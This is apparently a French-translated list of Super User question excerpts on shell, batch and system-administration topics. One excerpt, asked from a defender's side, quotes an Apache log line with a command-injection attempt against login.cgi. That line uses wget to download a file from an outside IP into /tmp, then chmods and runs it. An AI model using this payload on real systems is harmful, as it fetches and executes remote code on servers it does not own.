J'utilise la commande linux 'script' http://www.linuxcommand.org/man_pages/script1.html pour suivre certaines sessions interactives. Les fichiers de sortie qui contiennent des caractères non imprimables, y compris mes frappes de retour arrière. Existe-t-il un moyen de ranger ces fichiers de sortie...
Comment configurer zsh pour être le shell par défaut sous
Comment configurer une variable de tableau dans un script batch DOS? Je voudrais le charger avec une liste de noms de fichiers à traiter. Je voudrais vraiment garder cela aussi simple que possible.
OS X offre-t-il un moyen simple de lier des combinaisons de touches à des commandes généralement exécutées sur la ligne de commande? Par exemple, y a-t-il moyen d'assigner un raccourci global ⌘ Cmd+ Lpour verrouiller rapidement mon écran, éventuellement en utilisant
J'ai utilisé l'un des éléments suivants echo $(stuff) echo `stuff` (où stuffest par exemple pwdou dateou quelque chose de plus compliqué). Puis on m'a dit que cette syntaxe était erronée, une mauvaise pratique, non élégante, excessive, redondante, trop compliquée, une programmation culte du fret,...
for /r %f in (*) do echo %f Donne le nom du fichier de sortie ainsi que le chemin complet \path\to\dir\<filename> Comment obtenir juste le <filename>sans le chemin d'accès inclus? J'ai besoin d'utiliser cette chaîne de "nom de fichier". Est-il également possible de procéder comme suit,...
J'ai remarqué ces derniers temps sur les journaux Apache de mes serveurs: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" J'ai donc créé un filtre...
J'ai un PDF qui a déjà compressé et des images quelque peu artificielles, et j'utilise Ghostscript pour ajouter une page de titre à ce PDF. Cependant, je ne trouve aucun moyen de dire à GS d'utiliser simplement les images existantes sans les retraiter, et maintenant j'ai l'impression que c'est...
Il existe de nombreux sites qui insèrent quelque chose comme "En savoir plus: www.site.com" dans votre presse-papiers lorsque vous copiez du texte dans votre navigateur. Je trouve cela abominable. Une recherche Google révèle certaines méthodes pour empêcher cela si le site Web utilise le service...
J'ai besoin de changer fréquemment l'adresse du serveur DNS, et pour l'instant je le fais en ouvrant «réseau et centre de partage» - «connexion au réseau local» - propriétés - ipv4 - puis en tapant les numéros DNS. Existe-t-il un moyen plus rapide de le faire? Puis-je le faire avec un fichier batch...
Je cherche un moyen de redémarrer les machines après avoir reçu une notification par e-mail. La configuration sur laquelle je veux l'utiliser est une ferme de rendu. Nous avons 5 boîtes contenant 8 Nvidia GTX 980Ti. Ils exécutent Windows 10 Professionnel 64 bits. Le problème que nous rencontrons...
AVG me disait récemment qu'une page Web avait été bloquée en raison de l' obscurcissement JavaScript . Pourquoi la page Web a-t-elle été bloquée et qu'est-ce que cela signifie
$ echo $(date) Thu Jul 2 16:33:11 SGT 2015 $ echo ${date} $ name=foo $ echo $(name) ksh: name: not found $ echo ${name} foo Il semble que $ {variable} soit identique à $ variable. tandis que $ () consiste à exécuter une commande. Pourquoi utiliser $ {}
Cette question a été migrée depuis Stack Overflow car il est possible d'y répondre sur Super User. Migré il y a 8 ans . Un de mes amis vient de se faire voler son Macbook. Son compte Dropbox fonctionne toujours sur le Macbook, elle peut donc voir chaque fois que le Macbook est en ligne et obtenir...
Comment désactiver Javascript dans
Dans un répertoire, et récursivement dans ses sous-répertoires, ce qui signifie que chaque répertoire d'un répertoire est traité, comment puis-je compiler une liste complète d'extensions uniques dans le répertoire? Le système d'exploitation est Windows XP avec toutes les mises à jour actuelles,...
Comment exécuter automatiquement un script lorsque je me connecte à Windows? Je voudrais exécuter quelque chose comme ça chaque fois que je me connecte à mon ordinateur: echo %USERNAME% logged on at %DATE% %TIME% >> log.txt Un bonus serait de pouvoir exécuter le même script chaque fois que je...
Disons que j'ai un fichier texte comme celui-ci: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Je voudrais remplacer la partie entre les GENERATED CONTENTbalises par le contenu d'un autre fichier. Quelle est la manière la plus simple de